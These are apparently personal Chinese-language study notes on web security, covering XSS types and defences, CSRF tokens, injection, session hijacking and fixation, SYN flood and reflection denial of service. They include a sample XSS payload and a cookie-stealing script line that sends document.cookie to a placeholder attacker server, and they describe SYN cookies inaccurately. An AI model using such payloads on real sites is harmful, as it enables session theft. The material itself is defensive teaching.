1. 程式人生 > >網路安全學習筆記

網路安全學習筆記

跨站指令碼攻擊(XSS Cross Site Script)

    一、定義:黑客通過“HTML注入”篡改了網頁,插入了惡意的指令碼,從而在使用者遊覽網頁時,控制使用者遊覽器攻擊的一種行為。     二、分類:     1.    反射性XSS:把使用者輸入的資料反射給遊覽器(誘使使用者“點選”一個惡意的連結)篡改連結->使用者訪問->跳轉執行指令碼 <?php echo $_GET["test"];?> 使用者提交:ip?test=<script>alert("test")</script>。遊覽器即會執行相應的指令碼     2. 儲存型XSS:把使用者輸入的資料“儲存”在伺服器端。如黑客上傳含有惡意Js程式碼的部落格文章到網站伺服器,訪客遊覽網頁部落格時,在他們的遊覽器中惡意執行這段程式碼     3. DOM Base XSS:通過修改網頁DOM節點形成的XSS。當網站通過表單讓使用者輸入內容而實現動態修改網頁DOM節點的互動功能時,若黑客惡意構造特定格式指令碼內容,就可能造成DOM Base XSS。

    三、危害     1. XSS可實現cookie劫持:攻擊者可直接利用注入的js指令碼獲取cookie,進而通過非同步請求把標識session id的cookie上報給攻擊者。 比如可以在網站上嵌入<script>window.open('hackerSever?msg='+document.cookie)</script>。將使用者cookie傳送至攻擊者的伺服器,伺服器獲取使用者cookie,攻擊者即可利用其登入到使用者賬戶中。     2. 通過模擬GET、POST請求操作使用者的遊覽器。如在使用者登入郵箱後獲取其郵件資訊。(先通過正常抓包獲取相應訪問連結及其請求內容,再通過模擬請求獲取)     3. XSS釣魚
    (1)XSS重定向釣魚(XSS Redirect Phishing):將當前頁面重定向到仿冒正常網站的頁面中,進行欺詐活動
    (2)HTML注入式釣魚(XSS HTML Inject Phishing):如動態嵌入一個Form表單,誘使使用者填寫相應資訊進行盜取
    (3)XSS 跨框架釣魚(Iframe Phishing):通過<Iframe>標籤嵌入遠端域的一個頁面實施釣魚。,而此時主頁面依然處在正常網站的域名下,因此具有很高的迷惑性。     四、XSS的防禦
    1. 設定HttpOnly->防禦Cookie劫持攻擊,如果Cookie設定了HttpOnly,JS就讀取不到Cookie的值。HttpOnly在伺服器第一次返回傳送Set-Cookie時(同時向客戶端遊覽器寫入Cookie)標記,它可以選擇性地加在任何一個Cookie上
<?php
    header("Set-Cookie : cookie1;")
    header("Set-Cookie : cookie1;httponly", false);
?>
<script>
    alert(document.cookie);
</script>
    2.輸入檢查(XSS Filter):如對特殊符號進行轉義,特殊語句進行檢查過濾等。尤其對於富文字(使用者提交一些自定義的HTML程式碼)“事件“應該被嚴格禁止,同時也應包括一些比較危險的標籤如<iframe>、<script>、<base>、<form>等。

跨站點請求偽造(CSRF Cross Site Request Forgery)

   一、 定義:攻擊者盜用使用者身份,並以使用者身份傳送惡意請求。CSRF攻擊是源於WEB的隱式身份驗證機制。WEB的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器,但卻無法保證該請求是使用者批准傳送的。一般來說,完成一次攻擊需經過兩步
1.登入受信任網站A,並在本地生成Cookie 2.在不登出A的情況下,訪問危險網站B
    二、CSRF的防禦     1. 服務與客戶端互動進行CSRF防禦:先構造third-party Cookie。同時在表單中增加經過hashing的cookie值隨表單提交發送到伺服器,在伺服器獲取cookie和表單加密Cookie進行hash校驗。     2. 驗證碼校驗,使用者每次提交請求需填寫一個圖片上的隨機字串,理論上可以完全解決CSRF的問題     3. One-Time Tokens(不同的表單包含一個不同的偽隨機值),實現思路:
        (1)編寫token生成函式
        (2)在每次生成表單時,呼叫token生成函式,增添隱藏域儲存token,考慮到不同的表單包含一個不同的偽隨機值,還需同時生成訪問對應token的索引         (3)服務端核對token,表單提交時,服務端根據提交的索引獲取Session域對應token,與提交的token進行核對。

注入攻擊與Session認證

   一、 注入攻擊的本質,是把使用者輸入的資料當做程式碼執行。其中有兩個關鍵點:
        1、使用者能夠控制輸入。
        2、原本程式要執行的程式碼,平走了使用者輸入的資料     二、Session安全
        當用戶登入認證後,在伺服器端就會建立一個新的會話(Session),會話中儲存使用者的狀態和相關資訊,同時生成一個遊覽器端對使用者透明的憑證,即為SessionID
        1、Session劫持:黑客通過竊取使用者SessionID後,使用該SessionID登入進目標使用者。         2、Session Fixation攻擊:使用者登入前後的SessionID未發生改變,就會存在此問題。具體的攻擊過程為:攻擊者先獲取一個未認證的SessionID,並將其交給使用者認證,若使用者認證後,伺服器並未更新此SessionID的值,攻擊者就可以憑藉此SessionID登入使用者賬戶。如果SessionId儲存在Cookie中,攻擊者較難讓使用者使用這個SessionID,但如果由於youlan遊覽器不支援Cookie等原因,SessionID做為引數出現在URL時,攻擊者只要誘使使用者開啟特定URL即可。而解決Session Fixation的正確做法,是在登入完成後,重寫SessionID         3、Session保持攻擊,一般來說,Session是有生命週期的,當用戶長時間未活動,或者登出使用者後,使用者Session將會被銷燬。但如果攻擊者竊取並一直持有使用者有效的Session(比如間隔性的重新整理網頁),就能一直使用使用者的賬戶,形成Session保持攻擊。

應用層拒絕服務攻擊(DDOS Distributed Denial of Service)

拒絕服務攻擊以消耗伺服器端資源為目的,構造大量請求資料想伺服器端傳送請求。

在Sever收到SYN,seq後,處於半連線狀態,傳送資料包並等待Client迴應,由於Client在短時間內偽造大量不存在的IP地址,並向Server不斷地傳送SYN包,Server回覆確認包,並等待Client的確認,由於源地址是不存在的,因此,Server需要不斷重發直至超時,這些偽造的SYN包將產時間佔用未連線佇列,導致正常的SYN請求因為佇列滿而被丟棄,從而引起網路堵塞甚至系統癱瘓

     其中SYN Cookie是對抗SYN flood的主要措施之一,它的主要思想是為每一個IP地址分配一個"cookie",並統計每個IP地址的訪問頻率。如果在短時間內收到大量來自同一個IP地址的資料包,則認為受到攻擊,之後來自這個IP地址的包將被丟棄。

分佈反射式拒絕服務(DRDOS)

攻擊流程如下所示:

黑客偽造受害者id
->向大量伺服器傳送請求
->大量伺服器響應請求(傳送應答包)
->受害者主機忙於處理